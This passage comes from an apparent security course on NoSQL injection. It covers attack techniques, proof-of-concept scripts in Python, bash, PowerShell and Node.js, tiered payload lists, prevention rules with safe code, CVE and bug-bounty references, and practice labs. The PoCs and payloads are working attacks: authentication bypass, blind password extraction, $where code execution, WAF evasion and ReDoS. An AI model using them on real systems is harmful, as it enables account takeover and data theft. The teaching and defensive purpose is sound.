{"query":{"script":{"script":{"lang":"painless","source":"ctx._source.password"}}}}

On older Elasticsearch (before 5.x banned inline scripts by default), this extracts arbitrary fields via script.

Technique 21. Redis Lua injection via EVAL

text
EVAL "return redis.call('KEYS', ARGV[1])" 0 *

If the application builds the Lua script by concatenation, injecting `'); local x = redis.call('CONFIG','GET','dir'); return x; --` reads arbitrary config.

Technique 22. Cassandra CQL injection

CQL is SQL-like. The same payloads work, adapted:

text
' OR '1'='1' ALLOW FILTERING

Cassandra's "ALLOW FILTERING" clause is the modern variant of "WHERE 1=1".

Technique 23. GraphQL alias to amplify blind injection

When the API is GraphQL, you can fire many regex tests in parallel using aliases:

graphql
query {
    a: login(username:"admin", password:{regex:"^a"}) { ok }
    b: login(username:"admin", password:{regex:"^b"}) { ok }
    c: login(username:"admin", password:{regex:"^c"}) { ok }
}

26 character checks in one HTTP request.

Technique 24. JSON content-type smuggling

Some apps only sanitize JSON requests. Send `application/x-www-form-urlencoded` with `username=admin&password[$ne]=` to bypass the JSON sanitizer entirely.

Technique 25. Type juggling in Python pymongo

Python's `dict` is forgiving. Sending a payload that looks like a list-of-pairs might be parsed differently from a dict and bypass type validation that expects only dicts.

Technique 26. Race conditions on $where

Some applications disable `$where` after first detection. Sending many requests in parallel before the disable triggers can still succeed.

Technique 27. NoSQL second-order injection

You store a profile field like `{"city":{"$where":"sleep(5000)"}}`. The application stores it cleanly. A background job later runs `User.find({city: profile.city})` and triggers the injection.

Technique 28. WAF bypass with comment characters

json
{"$where":"sleep/**/(/**/5000/**/)"}

JavaScript comments inside the `$where` value bypass naive regex-based WAFs.

Technique 29. WAF bypass with unicode

json
{"\u0024ne":""}

Unicode escape for `$` may bypass WAFs that look for the literal dollar sign in JSON.

Technique 30. DoS via expensive regex

json
{"username":"administrator","password":{"$regex":"^(a+)+$"}}

A pathological regex on a long string causes MongoDB to hang. ReDoS through `$regex`.

SECTION 12. Proof of Concept

Burp Suite proof of concept

  • Step 1. Open Burp and proxy your traffic.
  • Step 2. Browse to the AnasOne login page. Submit dummy credentials.
  • Step 3. Find the POST /api/login request in HTTP history. Right-click > Send to Repeater.
  • Step 4. In Repeater, replace the body with `{"username":"administrator","password":{"$ne":""}}`.
  • Step 5. Click Send. Observe the 200 response and the issued session token.
  • Step 6. To extract the password by regex: replace `"password":{"$ne":""}` with `"password":{"$regex":"^a"}`. Repeat for every letter.
  • Step 7. Use Burp Intruder for automation: set the payload position inside the regex, load an alphabet list.

Python PoC for blind regex extraction

python
#!/usr/bin/env python3
import requests
import string

TARGET = "https://anastech.com/api/login"
USERNAME = "administrator"
CHARS = string.ascii_lowercase + string.digits + "_-."

def login_succeeds(password_regex: str) -> bool:
    """Send a login attempt with a regex on the password field."""
    r = requests.post(TARGET, json={
        "username": USERNAME,
        "password": {"$regex": password_regex}
    }, timeout=10)
    return r.status_code == 200 and "token" in r.text

def extract_password():
    """Walk the password one character at a time."""
    pw = ""
    while True:
        found = False
        for c in CHARS:
            # Anchor the regex to the start; escape regex specials in pw.
            test = f"^{pw}{c}"
            if login_succeeds(test):
                pw += c
                print(f"[+] {pw}")
                found = True
                break
        if not found:
            # Try a final anchor to detect end of string.
            if login_succeeds(f"^{pw}$"):
                print(f"[!] Final password: {pw}")
                return pw
            else:
                print(f"[?] No more characters match. Best guess: {pw}")
                return pw

if __name__ == "__main__":
    extract_password()

Bash PoC for the simple auth bypass

bash
#!/bin/bash
# Demonstrates the $ne authentication bypass.
TARGET="https://anastech.com/api/login"
echo "[*] Sending operator-injection payload..."
curl -s -X POST "$TARGET" \
    -H "Content-Type: application/json" \
    -d '{"username":"administrator","password":{"$ne":""}}' \
    | tee /tmp/response.json
echo
echo "[*] If response contains a token, the application is vulnerable."

PowerShell PoC

powershell
$body = @{
    username = "administrator"
    password = @{ "`$ne" = "" }
} | ConvertTo-Json -Depth 5

$response = Invoke-RestMethod `
    -Uri "https://anastech.com/api/login" `
    -Method Post `
    -ContentType "application/json" `
    -Body $body

Write-Host "Token: $($response.token)"

Node.js PoC

javascript
const axios = require('axios');
(async () => {
    const r = await axios.post('https://anastech.com/api/login', {
        username: 'administrator',
        password: { $ne: '' }
    });
    console.log('Token:', r.data.token);
})();

NoSQLMap PoC

bash
# Install
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
pip install -r requirements.txt
python3 nosqlmap.py

# In the interactive menu:
# 1. Set target host:       anastech.com
# 2. Set target path:       /api/login
# 3. Set HTTPS:             yes
# 4. Set verb:              POST
# 5. Set parameters to test: username, password
# 6. Run NoSQLi check.

$where time-based PoC

bash
echo "Baseline:"
time curl -s -o /dev/null -X POST https://anastech.com/api/search \
    -H "Content-Type: application/json" \
    -d '{"category":"shoes"}'

echo "With sleep:"
time curl -s -o /dev/null -X POST https://anastech.com/api/search \
    -H "Content-Type: application/json" \
    -d '{"$where":"sleep(5000)"}'

echo "If the second is ~5s longer, \$where is reachable and JS execution works."

SECTION 13. Payloads

Tier 1: detection (auth bypass)

json
{"username":"administrator","password":{"$ne":""}}
{"username":"administrator","password":{"$ne":null}}
{"username":"administrator","password":{"$ne":1}}
{"username":"administrator","password":{"$gt":""}}
{"username":"administrator","password":{"$gte":""}}
{"username":"administrator","password":{"$lt":"~"}}
{"username":"administrator","password":{"$exists":true}}
{"username":"administrator","password":{"$regex":".*"}}
{"username":"administrator","password":{"$regex":""}}
{"username":"administrator","password":{"$regex":"^"}}
{"username":{"$ne":""},"password":{"$ne":""}}
{"username":{"$gt":""},"password":{"$gt":""}}

Tier 2: targeted bypass

json
{"username":"admin","password":{"$ne":""}}
{"username":"root","password":{"$ne":""}}
{"username":"superuser","password":{"$ne":""}}
{"username":{"$in":["admin","administrator","root","superuser"]},"password":{"$ne":""}}
{"username":{"$regex":"^admin"},"password":{"$ne":""}}

Tier 3: blind extraction (regex)

json
{"username":"administrator","password":{"$regex":"^a"}}
{"username":"administrator","password":{"$regex":"^[a-m]"}}
{"username":"administrator","password":{"$regex":"^[n-z]"}}
{"username":"administrator","password":{"$regex":"^.{1}$"}}
{"username":"administrator","password":{"$regex":"^.{8}$"}}
{"username":"administrator","password":{"$regex":"^pa"}}
{"username":"administrator","password":{"$regex":"^pas"}}
{"username":"administrator","password":{"$regex":"^password"}}

Tier 4: $where injection (legacy / lab use)

json
{"$where":"sleep(5000)"}
{"$where":"1==1"}
{"$where":"this.username=='admin'"}
{"$where":"this.password.length > 8"}
{"$where":"if(this.username=='admin' && this.password.charAt(0)=='a') sleep(5000)"}
{"$where":"function(){var u=db.users.findOne({username:'admin'}); return this._id==u._id;}"}

Tier 5: URL parameter pollution

text
?username=admin&password[$ne]=
?username[$ne]=&password[$ne]=
?username=admin&password[$regex]=.%2A
?filter[$where]=sleep%285000%29
?orderBy[$where]=sleep%285000%29

Tier 6: form-encoded variants

text
username=admin&password[$ne]=
username[$ne]=&password[$ne]=
username=admin&password[$regex]=.*

Tier 7: CouchDB Mango payloads

json
{"selector":{"_id":{"$gt":""}}}
{"selector":{"_id":{"$regex":".*"}}}
{"selector":{"name":{"$exists":true}}}
{"selector":{"name":"x", "_id":{"$gt":""}}, "fields":["password","email","secret"]}
{"selector":{"$or":[{"name":"x"},{"_id":{"$gt":""}}]}}

Tier 8: Elasticsearch DSL payloads

json
{"query":{"match_all":{}}}
{"query":{"bool":{"must":[]}}}
{"query":{"script":{"script":{"source":"1==1","lang":"painless"}}}}
{"query":{"regexp":{"username":".*admin.*"}}}

Tier 9: WAF bypass payloads

json
{"\u0024ne":""}                       # unicode-escape the $
{"$ne": ""}                           # extra spaces
{"$N": "", "$E": ""}                  # rejected, just to probe
{"$where":"sleep/**/(/**/5000/**/)"}  # comment-bypass

Tier 10: GraphQL alias amplification

graphql
query {
    a: login(username:"admin", password:{regex:"^a"}) { ok }
    b: login(username:"admin", password:{regex:"^b"}) { ok }
    c: login(username:"admin", password:{regex:"^c"}) { ok }
    d: login(username:"admin", password:{regex:"^d"}) { ok }
}

SECTION 14. Wordlists and Payload Libraries

For NoSQL injection you do not need huge SQL-style wordlists. The operator set is small and bounded. Quality matters more than quantity. Below are the libraries and resources every NoSQLi hunter should keep at hand.

Curated NoSQL payload libraries

  • PayloadsAllTheThings -- NoSQL Injection chapter

URL: github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection Coverage: MongoDB, CouchDB, Cassandra, Firebase, plus operator-based and syntax-based payloads Strength: most regularly updated public reference

  • HackTricks -- NoSQL Injection page

URL: book.hacktricks.xyz/pentesting-web/nosql-injection Coverage: cheatsheet style, with curl examples, blind-extraction logic, and exploitation tips per engine

  • NoSQLMap -- built-in payload templates

URL: github.com/codingo/NoSQLMap Coverage: built-in patterns for MongoDB and CouchDB, auth bypass, schema enumeration

  • NoSQLi -- charlist-based blind extractor

URL: github.com/Charlie-belmer/nosqli Coverage: Go-based tool with built-in payloads for boolean/timing/error-based extraction

  • SecLists -- web payloads (partial NoSQL)

URL: github.com/danielmiessler/SecLists Path: Fuzzing/JSON.Fuzzing.txt and Fuzzing/special-chars.txt Use for generic JSON fuzzing and boundary character discovery

  • mongoaudit -- MongoDB misconfig auditor

URL: github.com/stampery/mongoaudit Use it to find exposed MongoDB instances, weak auth, and risky settings during recon

How to build your own payload list

A practical NoSQLi payload list has roughly four sections.

  • 1. Operator probes

Every operator on its own, plus a known-good baseline value. $ne, $gt, $lt, $gte, $lte, $exists, $regex, $in, $nin, $where, $or, $and, $not, $type, $expr, $size, $all

  • 2. Auth bypass templates

JSON bodies for login/forgot-password/reset/MFA endpoints.

  • 3. Extraction probes

$regex anchored patterns for character-by-character extraction, $where with sleep for timing.

  • 4. WAF bypass templates

Unicode escapes for `$`, parameter pollution variants, content-type swaps.

Recon-level wordlists

For finding NoSQL endpoints in the first place:

  • SecLists -- Discovery/Web-Content/api/api-endpoints.txt
  • SecLists -- Discovery/Web-Content/raft-large-words.txt
  • SecLists -- Discovery/Web-Content/graphql.txt for GraphQL endpoints

Practical advice

  • Curate a 50-line personal list rather than running a 5,000-line generic one
  • NoSQLi is logic-driven, not lookup-driven, so brute force buys you very little
  • Save engine fingerprints next to payloads (this payload works on Mongo 6, fails on Mongo 4)
  • Track payloads that worked in real bounty reports so you build pattern recognition over time

SECTION 15. Impact

NoSQL injection sits inside the same severity class as SQL injection. The blast radius differs by engine, but the worst-case outcomes are the same: stolen data, hijacked accounts, system compromise. The ladder below moves from the lightest impact to the heaviest.

Step 1: Information disclosure

The application leaks data the user should not see. Examples include user records returned to an unauthenticated client, internal field names exposed through `$exists`, and schema details visible through error messages.

Step 2: Authentication bypass

An operator injection in the login endpoint lets the attacker log in without a password. A single `{"$ne":""}` or `{"$gt":""}` in the password field can return an admin account on the first try.

Step 3: Account takeover via password reset

Reset-password endpoints that filter by an unauthenticated identifier are prime targets. Operator injection in the token field, in the email field, or in the reset selector lets the attacker either reset another user's password or read the reset token directly.

Step 4: Privilege escalation

Once a low-privilege account is taken, role-based queries become the next target. Filter injection on role-resolution queries can promote the account to admin, moderator, or staff. Mongoose populate.match injection (CVE-2025-23061) is a real-world example where filter injection escalated to data exposure across users.

Step 5: Data exfiltration via blind extraction

Even when no data is returned directly, anchored `$regex` plus boolean differences leak the database one character at a time. A motivated attacker walks every secret field this way: password hashes, recovery tokens, API keys, 2FA secrets, payment information.

Step 6: Data exfiltration via out-of-band channels

On engines that allow server-side scripting (Mongo `$where`, Elasticsearch script queries, Redis EVAL Lua) the attacker can stage HTTP/DNS callbacks or chunked exfiltration that does not appear in the application response at all.

Step 7: Tampering and integrity loss

Filter injection in update/delete queries lets the attacker rewrite or remove records they should not touch. A `$gt:""` filter on a delete operation deletes everything.

Step 8: Mass overwrite

NoSQL document updates often replace whole subtrees. An injection in the filter or update side can overwrite all documents in a collection. This is one of the fastest paths from low-impact to catastrophic.

Step 9: Server-side request forgery

Engines that support outbound calls, scripted maps, or external resource loading turn into SSRF primitives once injection is achieved. Cloud metadata services then become reachable.

Step 10: Code execution

`$where` in MongoDB, painless scripts in Elasticsearch, Lua in Redis, and CQL UDFs in Cassandra all allow code execution on the database tier. From the database tier, the attacker often reaches the underlying OS through filesystem reads, command execution, or driver bugs.

Step 11: Full host compromise

Code execution on the database host is the same as code execution on any other production host. Cloud credentials are stolen from environment variables, the metadata service, or attached IAM roles. The attacker pivots into the broader cloud account.

Step 12: Ransom and destruction

The MongoDB Meow attack of 2020 shows the worst-case outcome. Tens of thousands of exposed databases had their contents wiped. The intersection of misconfiguration and injection makes ransom and destruction realistic for any NoSQL system that ends up addressable.

Step 13: Lateral movement

Database servers usually have credentials for other systems: queues, cache layers, secondary databases, internal APIs. Once the database host is owned, those credentials carry the attacker further.

Step 14: Regulatory and contractual fallout

GDPR, HIPAA, CCPA, PCI-DSS, ISO 27001, and SOC 2 all treat NoSQLi-driven breaches the same way as SQLi-driven breaches. Fines, mandatory disclosure, customer notification, and audit-triggered remediation all apply.

Step 15: Reputation and contract loss

Public disclosure of a NoSQL breach has the same business impact as any other data breach. Customers leave, partners reconsider, and bigger contracts depend on a clean security record.

Step 16: Long-tail cost

After the breach: forensic investigation, legal fees, increased insurance premiums, audit cycles, and the engineering cost of replacing the vulnerable code path everywhere it appears. NoSQLi is rarely a single-line fix.

SECTION 16. Prevention

NoSQL injection is preventable. The fix is not deeper input validation, more regex, or a stricter WAF. The fix is treating user input as data, never as query structure.

The two rules that cover almost everything

  • 1. The application decides which operators are valid. The user never does.
  • 2. The application decides the schema of a query. The user supplies only values.

If both rules hold, operator injection cannot happen. Most other defenses are defense-in-depth.

Rule 1: Cast every user input to its expected primitive type

The single biggest vulnerability driver is JSON parsing that turns `{"$ne":""}` into an object. Reject objects where you expected a string.

Vulnerable Node.js code:

javascript
// dangerous: req.body.username may be an object
const user = await users.findOne({
    username: req.body.username,
    password: req.body.password
});

Safe Node.js code:

javascript
// always cast to string before passing to the driver
const username = String(req.body.username || '');
const password = String(req.body.password || '');

const user = await users.findOne({ username, password });

In TypeScript, runtime validation with zod or yup gives you the same guarantee with better error messages.

Rule 2: Sanitize keys, not just values

`express-mongo-sanitize` removes any key that starts with `$` or contains a dot. It does so for `req.body`, `req.query`, `req.params`, and `req.headers`. Apply it as global middleware.

javascript
const mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize());

For Mongoose specifically, since version 7 there is a built-in option:

javascript
const user = await User.findOne(
    { username: req.body.username, password: req.body.password },
    null,
    { sanitizeFilter: true }
);

`sanitizeFilter` wraps any object that arrived from user input in an `$eq`, neutralizing operator injection.

Rule 3: Whitelist allowed operators

For endpoints that legitimately accept operators (search/filter APIs), build an allowlist and reject everything else.

javascript
const ALLOWED_OPERATORS = new Set(['$eq', '$in', '$gte', '$lte']);

function sanitizeFilter(filter) {
    if (typeof filter !== 'object' || filter === null) return filter;
    for (const key of Object.keys(filter)) {
        if (key.startsWith('$') && !ALLOWED_OPERATORS.has(key)) {
            throw new Error(`Operator not allowed: ${key}`);
        }
        if (typeof filter[key] === 'object') {
            sanitizeFilter(filter[key]);
        }
    }
    return filter;
}

Rule 4: Never use `$where` with user input

`$where` runs JavaScript on the server. It cannot be made safe with input filtering. The right answer is to refuse it entirely.

  • Use `$expr` and aggregation operators instead
  • Set `javascriptEnabled=false` in your MongoDB configuration
  • Use a database user without `find` permission on `$where`

Rule 5: Never concatenate user input into queries

This goes for `$where`, for query strings, and for JSON-as-string assembly. If you find yourself doing `"value: '" + input + "'"`, stop. Use the driver's native parameter passing.

Vulnerable:

javascript
// the input lands inside server-evaluated JavaScript
db.users.find({ $where: `this.age > ${req.query.age}` });

Safe:

javascript
const age = Number(req.query.age);
if (!Number.isFinite(age)) throw new Error('bad age');
db.users.find({ age: { $gt: age } });

Rule 6: Validate inputs with a schema library

A schema declares: this field is a string of length 1 to 64, this one is a positive integer, this one is one of these three values. Anything outside the schema is rejected before the database is touched.

javascript
const { z } = require('zod');

const LoginSchema = z.object({
    username: z.string().min(1).max(64),
    password: z.string().min(1).max(128)
});

app.post('/login', async (req, res) => {
    const parsed = LoginSchema.safeParse(req.body);
    if (!parsed.success) return res.status(400).send('bad input');
    const { username, password } = parsed.data;
    // now safe
});

Rule 7: Principle of least privilege

The database user the application connects as should have the minimum permissions necessary. If only `read` is required, do not grant `update` or `dropCollection`. If the application reads a single database, do not grant cluster-wide rights.

Rule 8: Defense in depth

  • Disable `$where` and server-side JavaScript engine-wide where possible
  • Set query timeouts so blind extraction takes hours to gain a character
  • Log query shapes (without bind values) for anomaly detection
  • Apply rate limiting on login and password-reset endpoints
  • Run authentication checks before query construction (drop unauthenticated requests early)

Side-by-side: vulnerable vs safe (Node.js + Mongoose)

Vulnerable:

javascript
app.post('/login', async (req, res) => {
    const user = await User.findOne({
        email: req.body.email,
        password: req.body.password
    });
    if (user) return res.send('welcome');
    res.status(401).send('bad creds');
});

Safe:

javascript
const { z } = require('zod');

const LoginSchema = z.object({
    email: z.string().email().max(254),
    password: z.string().min(1).max(128)
});

app.post('/login', async (req, res) => {
    const parsed = LoginSchema.safeParse(req.body);
    if (!parsed.success) return res.status(400).send('bad input');

    const { email, password } = parsed.data;
    const user = await User.findOne({ email }, null, { sanitizeFilter: true });
    if (!user) return res.status(401).send('bad creds');

    const ok = await bcrypt.compare(password, user.passwordHash);
    if (!ok) return res.status(401).send('bad creds');

    res.send('welcome');
});

Framework recommendations

  • Express + MongoDB driver: use `express-mongo-sanitize` plus zod
  • Mongoose: enable `sanitizeFilter` and rely on schema type-casting; never call `populate({ match })` with user input directly
  • Python + pymongo: use Pydantic models and never pass `dict(request.json)` directly to a query
  • FastAPI: define Pydantic request models with explicit types for every field
  • CouchDB: use Mango selectors built server-side with whitelisted operators
  • Elasticsearch: never pass user-supplied DSL; build query objects with allowed templates
  • Firebase: rely on security rules and refuse client-supplied where-clauses

Enterprise mitigations

  • WAF rules that strip `$` keys from JSON bodies for login/reset endpoints
  • Pre-prod scanner that flags any direct use of `req.body` inside a database call
  • SAST rule: `findOne(req.body.*)` is a critical finding
  • Threat model every endpoint that accepts JSON: which fields are values, which are filters, which are operators
  • Periodic re-test with NoSQLMap and manual operator probes during quarterly assessments

Developer checklist before deploying any data-access endpoint

  • Have I cast every user input to its expected type?
  • Am I using a schema validator?
  • Have I forbidden `$where` and server-side scripting?
  • Did I apply `express-mongo-sanitize` or equivalent at the global level?
  • Is the database user permissions-restricted?
  • Are query timeouts in place?
  • Do I log queries by shape, not value?
  • Have I tested with operator-injection payloads from this course?

SECTION 17. Real-World Cases

NoSQL injection has been quietly punching above its weight for over a decade. Below is a curated CVE library, then a set of bug-bounty case studies, then the lessons each one teaches.

CVE library (recent and notable, with URLs)

  • CVE-2025-23061 (Mongoose populate.match operator injection)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-23061 GitHub Advisory: https://github.com/Automattic/mongoose/security/advisories Engine: MongoDB via Mongoose Severity: high Lesson: every layer of an ORM/ODM must be checked, not only top-level filters

  • CVE-2024-48573 (Aquila CMS NoSQLi)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-48573 Engine: MongoDB Severity: critical Lesson: search endpoints accept filter operators by design and need the strictest allowlist

  • CVE-2025-14911 (mongo-c-driver BSON parsing)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-14911 Engine: MongoDB native driver Severity: high Lesson: NoSQLi risks live inside drivers too, not only application code

  • CVE-2025-14847 (MongoDB Server parsing bypass)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-14847 MongoDB advisory: https://www.mongodb.com/alerts Engine: MongoDB Server Severity: high Lesson: database-level access controls are not a substitute for input validation in the application

  • CVE-2021-32050 (MongoDB driver error message disclosure)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-32050 Engine: MongoDB Severity: medium Lesson: even verbose error paths can become extraction primitives

  • CVE-2017-15535 (MongoDB Node native driver operator injection)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2017-15535 Engine: MongoDB Severity: high Lesson: the operator-injection class is old and well-known, yet keeps appearing in new code

The MongoDB Meow attack (2020)

  • Year: 2020
  • Scope: 23,000+ exposed MongoDB databases wiped
  • Mechanism: opportunistic scanning, no auth, automated destruction
  • Why it matters here: many of those databases were also injectable. Misconfiguration plus injection is the worst combination. The Meow incident remains the canonical example of what happens when NoSQL deployment is left wide open.

Real HackerOne bug bounty reports (disclosed)

  • Rocket.Chat -- Pre-Auth Blind NoSQLi in getPasswordPolicy leading to RCE

Report: https://hackerone.com/reports/1130721 Severity: critical; CVE assigned Technique: $regex character-by-character on password reset token via method.callAnon API Lesson: unauthenticated method endpoints that accept query objects are gold; the `$regex` extraction pattern from this report is the canonical example

  • Rocket.Chat -- Post-Auth Blind NoSQLi in users.list API leads to RCE

Report: https://hackerone.com/reports/1130874 Technique: custom `query` URL parameter, restricted fields bypassed via operator injection Lesson: even when returned fields are restricted, operator injection still leaks tokens via differential responses

  • Rocket.Chat -- NoSQLi in listEmojiCustom timing-based

Report: https://hackerone.com/reports/1757676 Technique: unauthenticated method, response-delay oracle Lesson: any method call with a user-controlled query object should be probed even when impact looks low

  • Rocket.Chat -- NoSQLi discloses S3 file upload URLs via getS3FileUrl

Report: https://hackerone.com/reports/1458020 Technique: regex operator in fileId argument of Meteor server method Lesson: Meteor/MongoDB stacks consistently leak via method.* endpoints

  • Rocket.Chat -- NoSQLi leaks visitor token and livechat messages

Report: search hackerone.com for "Rocket.Chat NoSQL injection leaks visitor token" (disclosed report on H1) Lesson: livechat and pre-auth flows often have weaker validation than the main app

  • HackerOne -- "Ability to escape database transaction through SQLi leading to arbitrary code execution" (mixed SQLi/NoSQLi review)

Listing: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSQLI.md Lesson: cross-class injection chains exist; the same auditor mindset catches both

  • GitHub Security Lab -- [Python] CWE-943 Add NoSQL Injection Query (CodeQL contribution)

Listing: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSQLI.md Reference query: https://github.com/github/codeql Lesson: static analysis rules for NoSQLi exist; integrate them into CI to catch the operator-injection class

Curated corpora

What the case studies share

  • The vulnerabilities live in input handling, not in cryptography or memory safety
  • Detection is fast (operator probes are cheap)
  • Severity is high (auth bypass, account takeover, RCE)
  • Fixes are well-known but inconsistently applied
  • Bounty payouts skew large because impact is direct and measurable

Lessons for defenders

  • Every endpoint that accepts JSON is a candidate target
  • Login and password-reset endpoints are tier-one priority
  • Search and filter endpoints need explicit operator allowlists
  • ORM/ODM features like populate.match deserve special review
  • GraphQL and federation gateways amplify the impact of any underlying NoSQLi

Lessons for attackers and researchers

  • Always start with `{"$ne":""}` and `{"$gt":""}` on login fields
  • Move to URL-parameter `[$op]` syntax when the endpoint is GET-only
  • Combine `$regex` with binary search for blind extraction
  • Look for `$where` usage in any user-facing search endpoint
  • Test populated documents and nested filters
  • Probe content-type swaps (JSON to form-encoded) to bypass middleware
  • Stack GraphQL aliases to multiply extraction speed
  • Document the exact engine and version in your report; defenders need it

SECTION 18. References

Standards and frameworks

  • OWASP Top 10 -- A03:2021 Injection

URL: owasp.org/Top10/A03_2021-Injection Treats SQL injection and NoSQL injection under the same risk category. NoSQLi is in scope of every injection control listed there.

  • OWASP Testing Guide -- Testing for NoSQL Injection

URL: owasp.org/www-project-web-security-testing-guide Walks through manual operator probes, blind extraction, and `$where` exploitation

  • CWE-943 -- Improper Neutralization of Special Elements in Data Query Logic

URL: cwe.mitre.org/data/definitions/943.html The canonical CWE for NoSQL injection

  • CWE-89 -- Improper Neutralization of Special Elements used in an SQL Command

URL: cwe.mitre.org/data/definitions/89.html Adjacent CWE that the industry often cross-tags with NoSQLi

  • OWASP ASVS V5 -- Validation, Sanitization, and Encoding

URL: github.com/OWASP/ASVS

Engine documentation

  • MongoDB Manual

URL: mongodb.com/docs/manual Required reading on operators, aggregation, and `$where`

  • MongoDB security checklist

URL: mongodb.com/docs/manual/administration/security-checklist Includes the operator-injection guidance Mongo itself recommends

  • Mongoose documentation -- query sanitization

URL: mongoosejs.com/docs/api/model.html Documents `sanitizeFilter` and related defenses

  • CouchDB Mango selectors

URL: docs.couchdb.org/en/stable/api/database/find.html

  • Elasticsearch query DSL reference

URL: elastic.co/guide/en/elasticsearch/reference/current/query-dsl.html

  • Redis EVAL command and Lua scripting

URL: redis.io/commands/eval

Learning resources

  • PortSwigger Web Security Academy -- NoSQL injection

URL: portswigger.net/web-security/nosql-injection The best free hands-on training material on this topic. Three labs cover operator detection, exploitation, and `$where` extraction.

  • HackTricks -- NoSQL injection

URL: book.hacktricks.xyz/pentesting-web/nosql-injection Operational cheatsheet with engine-specific payloads

  • PayloadsAllTheThings -- NoSQL injection

URL: github.com/swisskyrepo/PayloadsAllTheThings

  • Snyk -- NoSQL injection deep dives

URL: snyk.io/blog (search for `nosql injection`) Multiple practitioner posts walking through Node.js-specific patterns

Tools

  • NoSQLMap -- github.com/codingo/NoSQLMap
  • NoSQLi (Go) -- github.com/Charlie-belmer/nosqli
  • Burp Suite -- portswigger.net
  • mongoaudit -- github.com/stampery/mongoaudit
  • express-mongo-sanitize -- npmjs.com/package/express-mongo-sanitize
  • mongo-sanitize -- npmjs.com/package/mongo-sanitize
  • zod -- zod.dev

CVE references

  • MITRE CVE -- cve.mitre.org
  • NVD -- nvd.nist.gov
  • GitHub Security Advisories -- github.com/advisories
  • CVE Details -- cvedetails.com

Practitioner blogs and write-ups

  • Synopsys -- nosql injection coverage
  • Detectify -- web app security blog
  • Bishop Fox -- pentesting writeups
  • Sucuri blog -- web vulnerability reports
  • HackerOne Hacktivity (filter by `nosql`) -- hackerone.com/hacktivity

SECTION 19. Practical Labs

The labs below give you operator injection, blind extraction, `$where`-based attacks, and ORM-specific bugs in a controlled environment. Combine ANAS labs with the PortSwigger Academy labs for full coverage.

Planned ANAS NoSQL Labs (SOON)

  • ANAS-NOSQL-01 -- AnasTech Login Bypass (Operator Injection)

Difficulty: beginner Skill: basic `$ne` and `$gt` injection on login

  • ANAS-NOSQL-02 -- AnasOne Password Reset Hijack

Difficulty: beginner Skill: operator injection on reset endpoints

  • ANAS-NOSQL-03 -- AnasMarket Product Filter

Difficulty: beginner-intermediate Skill: `$regex` and `$in` on search endpoints

  • ANAS-NOSQL-04 -- AnasBank Account Lookup

Difficulty: intermediate Skill: blind regex extraction with binary search

  • ANAS-NOSQL-05 -- AnasSocial GraphQL Aliases

Difficulty: intermediate Skill: alias amplification for blind extraction

  • ANAS-NOSQL-06 -- AnasDocs CouchDB Selector

Difficulty: intermediate Skill: Mango selector injection

  • ANAS-NOSQL-07 -- AnasTravel Elasticsearch DSL

Difficulty: intermediate-advanced Skill: DSL injection and script clause abuse

  • ANAS-NOSQL-08 -- AnasCorp Mongoose populate.match

Difficulty: intermediate-advanced Skill: ORM-layer filter injection (CVE-2025-23061 style)

  • ANAS-NOSQL-09 -- AnasOne $where Time-Based

Difficulty: advanced Skill: time-based extraction through `$where` sleep

  • ANAS-NOSQL-10 -- AnasMarket URL Parameter Pollution

Difficulty: intermediate Skill: `?field[$op]=value` exploitation

  • ANAS-NOSQL-11 -- AnasBank WAF Bypass (Unicode)

Difficulty: advanced Skill: Unicode escapes to defeat key filters

  • ANAS-NOSQL-12 -- AnasSocial Redis EVAL

Difficulty: advanced Skill: Lua injection through cached query input

  • ANAS-NOSQL-13 -- AnasTech JSON-to-Form Swap

Difficulty: intermediate Skill: content-type bypass of sanitization middleware

  • ANAS-NOSQL-14 -- AnasCorp Second-Order NoSQLi

Difficulty: advanced Skill: payload stored in profile, executed in a later query

  • ANAS-NOSQL-15 -- AnasOne End-to-End Chain

Difficulty: expert Skill: chain login bypass + blind extraction + `$where` to RCE

PortSwigger Web Security Academy NoSQL Labs

  • Detecting NoSQL injection

URL: portswigger.net/web-security/nosql-injection Focus: operator vs syntax detection

  • Exploiting NoSQL operator injection to bypass authentication

Focus: classic `{"$ne":""}` style login bypass

  • Exploiting NoSQL injection to extract data

Focus: `$regex` blind extraction

Self-hosted lab environments

  • DVNA (Damn Vulnerable Node Application)

URL: github.com/appsecco/dvna Includes Mongo-based vulnerabilities

  • NoSQLi-Lab

URL: github.com/digininja/nosqli-lab Purpose-built lab for practicing extraction

  • Mutillidae II

URL: github.com/webpwnized/mutillidae Has NoSQL injection scenarios in the recent versions

  • Vulnerable GraphQL Application (VGA)

URL: github.com/dolevf/Damn-Vulnerable-GraphQL-Application Pair with NoSQL backend testing

Lab progression suggestion

  • Week 1: PortSwigger lab 1 + ANAS-NOSQL-01/02 + read sections 1-8 of this course
  • Week 2: PortSwigger lab 2 + ANAS-NOSQL-03/04 + blind regex extraction practice
  • Week 3: PortSwigger lab 3 + ANAS-NOSQL-09/15 + write your own extraction script
  • Week 4: ANAS-NOSQL-06/07/08 + read every recent CVE in section 17
  • Week 5: Bug bounty triage on public NoSQL targets with the toolkit you have built

What "passing" looks like

  • Auth bypass: you log in as admin with a single payload
  • Blind extraction: you pull a 32-character hash in under 30 minutes
  • ORM injection: you identify a vulnerable populate path
  • Defensive: you can read a piece of Node.js code and point at the exact bug

SECTION 20. Cheat Sheet

text
+--------------------------------------------------------------------------+
|                  ANAS EDUCATION -- NoSQL Injection Cheatsheet            |
+--------------------------------------------------------------------------+
|                                                                          |
|  DETECTION PROBES (login endpoints)                                      |
|    {"username":"admin","password":{"$ne":""}}                            |
|    {"username":{"$gt":""},"password":{"$gt":""}}                         |
|    {"username":{"$regex":"^a"},"password":{"$ne":""}}                    |
|    {"username":{"$exists":true},"password":{"$ne":""}}                   |
|                                                                          |
|  URL PARAMETER POLLUTION                                                 |
|    ?username[$ne]=&password[$ne]=                                        |
|    ?username[$regex]=^admin&password[$ne]=                               |
|    ?id[$gt]=                                                             |
|                                                                          |
